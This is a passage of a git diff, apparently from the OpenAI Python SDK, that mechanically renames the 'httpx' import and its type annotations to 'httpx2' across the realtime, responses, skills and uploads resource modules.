- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ModerationCreateResponse:
"""Classifies if text and/or image inputs are potentially harmful.
diff --git a/src/openai/resources/realtime/calls.py b/src/openai/resources/realtime/calls.py
index d622dce409..3bc6817f5d 100644
--- a/src/openai/resources/realtime/calls.py
+++ b/src/openai/resources/realtime/calls.py
@@ -5,7 +5,7 @@
from typing import List, Union, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NoneType, NotGiven, omit, not_given
@@ -69,7 +69,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Create a new Realtime API call over WebRTC and receive the SDP answer needed to
@@ -155,7 +155,7 @@ def accept(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Accept an incoming SIP call and configure the realtime session that will handle
@@ -285,7 +285,7 @@ def hangup(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
End an active Realtime API call, whether it was initiated over SIP or WebRTC.
@@ -324,7 +324,7 @@ def refer(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Transfer an active SIP call to a new destination using the SIP REFER verb.
@@ -367,7 +367,7 @@ def reject(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Decline an incoming SIP call by returning a SIP status code to the caller.
@@ -431,7 +431,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Create a new Realtime API call over WebRTC and receive the SDP answer needed to
@@ -517,7 +517,7 @@ async def accept(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Accept an incoming SIP call and configure the realtime session that will handle
@@ -647,7 +647,7 @@ async def hangup(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
End an active Realtime API call, whether it was initiated over SIP or WebRTC.
@@ -686,7 +686,7 @@ async def refer(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Transfer an active SIP call to a new destination using the SIP REFER verb.
@@ -729,7 +729,7 @@ async def reject(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Decline an incoming SIP call by returning a SIP status code to the caller.
diff --git a/src/openai/resources/realtime/client_secrets.py b/src/openai/resources/realtime/client_secrets.py
index f947712f2d..77c2753cdd 100644
--- a/src/openai/resources/realtime/client_secrets.py
+++ b/src/openai/resources/realtime/client_secrets.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -47,7 +47,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ClientSecretCreateResponse:
"""
Create a Realtime client secret with an associated session configuration.
@@ -133,7 +133,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ClientSecretCreateResponse:
"""
Create a Realtime client secret with an associated session configuration.
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 8989d9448d..8e42e16870 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -10,7 +10,7 @@
from typing import TYPE_CHECKING, Any, Union, Callable, Iterator, Awaitable, cast
from typing_extensions import AsyncIterator
-import httpx
+import httpx2
from pydantic import BaseModel
from .calls import (
@@ -720,7 +720,7 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
@@ -1188,7 +1188,7 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
diff --git a/src/openai/resources/responses/input_items.py b/src/openai/resources/responses/input_items.py
index 9aaf553f22..7be6d24bd7 100644
--- a/src/openai/resources/responses/input_items.py
+++ b/src/openai/resources/responses/input_items.py
@@ -5,7 +5,7 @@
from typing import Any, List, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -55,7 +55,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[ResponseItem]:
"""
Returns a list of input items for a given response.
@@ -140,7 +140,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ResponseItem, AsyncCursorPage[ResponseItem]]:
"""
Returns a list of input items for a given response.
diff --git a/src/openai/resources/responses/input_tokens.py b/src/openai/resources/responses/input_tokens.py
index 1d313d1190..d9f0cca458 100644
--- a/src/openai/resources/responses/input_tokens.py
+++ b/src/openai/resources/responses/input_tokens.py
@@ -5,7 +5,7 @@
from typing import Union, Iterable, Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -63,7 +63,7 @@ def count(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InputTokenCountResponse:
"""
Returns input token counts of the request.
@@ -199,7 +199,7 @@ async def count(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InputTokenCountResponse:
"""
Returns input token counts of the request.
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 43c84769b0..bbb4a7a443 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -25,7 +25,7 @@
from functools import partial
from typing_extensions import Literal, overload
-import httpx
+import httpx2
from pydantic import BaseModel
from ... import _legacy_response
@@ -169,7 +169,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response:
"""Creates a model response.
@@ -450,7 +450,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[ResponseStreamEvent]:
"""Creates a model response.
@@ -731,7 +731,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | Stream[ResponseStreamEvent]:
"""Creates a model response.
@@ -1011,7 +1011,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | Stream[ResponseStreamEvent]:
return self._post(
"/responses",
@@ -1077,7 +1077,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ResponseStreamManager[TextFormatT]: ...
@overload
@@ -1120,7 +1120,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ResponseStreamManager[TextFormatT]: ...
def stream(
@@ -1164,7 +1164,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ResponseStreamManager[TextFormatT]:
new_response_args = {
"input": input,
@@ -1328,7 +1328,7 @@ def parse(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ParsedResponse[TextFormatT]:
if is_given(text_format):
if not text:
@@ -1414,7 +1414,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response: ...
@overload
@@ -1430,7 +1430,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Stream[ResponseStreamEvent]: ...
@overload
@@ -1446,7 +1446,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Response | Stream[ResponseStreamEvent]: ...
@overload
@@ -1462,7 +1462,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Response | Stream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -1511,7 +1511,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Stream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -1560,7 +1560,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | Stream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -1608,7 +1608,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | Stream[ResponseStreamEvent]:
if not response_id:
raise ValueError(f"Expected a non-empty value for `response_id` but received {response_id!r}")
@@ -1644,7 +1644,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Deletes a model response with the given ID.
@@ -1682,7 +1682,7 @@ def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response:
"""Cancels a model response with the given ID.
@@ -1833,7 +1833,7 @@ def compact(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CompactedResponse:
"""Compact a conversation.
@@ -2022,7 +2022,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response:
"""Creates a model response.
@@ -2303,7 +2303,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[ResponseStreamEvent]:
"""Creates a model response.
@@ -2584,7 +2584,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | AsyncStream[ResponseStreamEvent]:
"""Creates a model response.
@@ -2864,7 +2864,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | AsyncStream[ResponseStreamEvent]:
return await self._post(
"/responses",
@@ -2930,7 +2930,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncResponseStreamManager[TextFormatT]: ...
@overload
@@ -2973,7 +2973,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncResponseStreamManager[TextFormatT]: ...
def stream(
@@ -3017,7 +3017,7 @@ def stream(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncResponseStreamManager[TextFormatT]:
new_response_args = {
"input": input,
@@ -3180,7 +3180,7 @@ async def parse(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ParsedResponse[TextFormatT]:
if is_given(text_format):
if not text:
@@ -3266,7 +3266,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response: ...
@overload
@@ -3282,7 +3282,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> AsyncStream[ResponseStreamEvent]: ...
@overload
@@ -3298,7 +3298,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Response | AsyncStream[ResponseStreamEvent]: ...
@overload
@@ -3314,7 +3314,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = NOT_GIVEN,
+ timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> Response | AsyncStream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -3363,7 +3363,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncStream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -3412,7 +3412,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | AsyncStream[ResponseStreamEvent]:
"""
Retrieves a model response with the given ID.
@@ -3460,7 +3460,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response | AsyncStream[ResponseStreamEvent]:
if not response_id:
raise ValueError(f"Expected a non-empty value for `response_id` but received {response_id!r}")
@@ -3496,7 +3496,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
Deletes a model response with the given ID.
@@ -3534,7 +3534,7 @@ async def cancel(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Response:
"""Cancels a model response with the given ID.
@@ -3685,7 +3685,7 @@ async def compact(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CompactedResponse:
"""Compact a conversation.
@@ -4405,7 +4405,7 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
@@ -4850,7 +4850,7 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**self.__websocket_connection_options,
)
- def _prepare_url(self) -> httpx.URL:
+ def _prepare_url(self) -> httpx2.URL:
if self.__client.websocket_base_url is not None:
base_url = normalize_httpx_url(self.__client.websocket_base_url)
else:
diff --git a/src/openai/resources/skills/content.py b/src/openai/resources/skills/content.py
index eedbb90b23..91ac17d39f 100644
--- a/src/openai/resources/skills/content.py
+++ b/src/openai/resources/skills/content.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Query, Headers, NotGiven, not_given
@@ -49,7 +49,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download a skill zip bundle by its ID.
@@ -108,7 +108,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download a skill zip bundle by its ID.
diff --git a/src/openai/resources/skills/skills.py b/src/openai/resources/skills/skills.py
index 0ad1b42587..7c840a901c 100644
--- a/src/openai/resources/skills/skills.py
+++ b/src/openai/resources/skills/skills.py
@@ -5,7 +5,7 @@
from typing import Union, Mapping, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ...types import skill_list_params, skill_create_params, skill_update_params
@@ -86,7 +86,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Create a new skill.
@@ -132,7 +132,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Get a skill by its ID.
@@ -170,7 +170,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Update the default version pointer for a skill.
@@ -212,7 +212,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[Skill]:
"""
List all skills for the current project.
@@ -263,7 +263,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> DeletedSkill:
"""
Delete a skill by its ID.
@@ -329,7 +329,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Create a new skill.
@@ -375,7 +375,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Get a skill by its ID.
@@ -413,7 +413,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Skill:
"""
Update the default version pointer for a skill.
@@ -457,7 +457,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Skill, AsyncCursorPage[Skill]]:
"""
List all skills for the current project.
@@ -508,7 +508,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> DeletedSkill:
"""
Delete a skill by its ID.
diff --git a/src/openai/resources/skills/versions/content.py b/src/openai/resources/skills/versions/content.py
index c72c8c4f08..241b3f6e54 100644
--- a/src/openai/resources/skills/versions/content.py
+++ b/src/openai/resources/skills/versions/content.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Query, Headers, NotGiven, not_given
@@ -50,7 +50,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download a skill version zip bundle.
@@ -114,7 +114,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Download a skill version zip bundle.
diff --git a/src/openai/resources/skills/versions/versions.py b/src/openai/resources/skills/versions/versions.py
index 17f85a13ec..b4efd79dfa 100644
--- a/src/openai/resources/skills/versions/versions.py
+++ b/src/openai/resources/skills/versions/versions.py
@@ -5,7 +5,7 @@
from typing import Union, Mapping, cast
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from .content import (
@@ -76,7 +76,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SkillVersion:
"""
Create a new immutable skill version.
@@ -133,7 +133,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SkillVersion:
"""
Get a specific skill version.
@@ -177,7 +177,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[SkillVersion]:
"""
List skill versions for a skill.
@@ -230,7 +230,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> DeletedSkillVersion:
"""
Delete a skill version.
@@ -298,7 +298,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SkillVersion:
"""
Create a new immutable skill version.
@@ -355,7 +355,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SkillVersion:
"""
Get a specific skill version.
@@ -399,7 +399,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[SkillVersion, AsyncCursorPage[SkillVersion]]:
"""
List skill versions for a skill.
@@ -452,7 +452,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> DeletedSkillVersion:
"""
Delete a skill version.
diff --git a/src/openai/resources/uploads/parts.py b/src/openai/resources/uploads/parts.py
index d04b037b44..f9c88c1cc5 100644
--- a/src/openai/resources/uploads/parts.py
+++ b/src/openai/resources/uploads/parts.py
@@ -4,7 +4,7 @@
from typing import Mapping, cast
-import httpx
+import httpx2
from ... import _legacy_response
from ..._files import deepcopy_with_paths
@@ -52,7 +52,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UploadPart:
"""
Adds a
@@ -133,7 +133,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UploadPart:
"""
Adds a
diff --git a/src/openai/resources/uploads/uploads.py b/src/openai/resources/uploads/uploads.py
index fa6b580df9..1ab8d8b8c6 100644
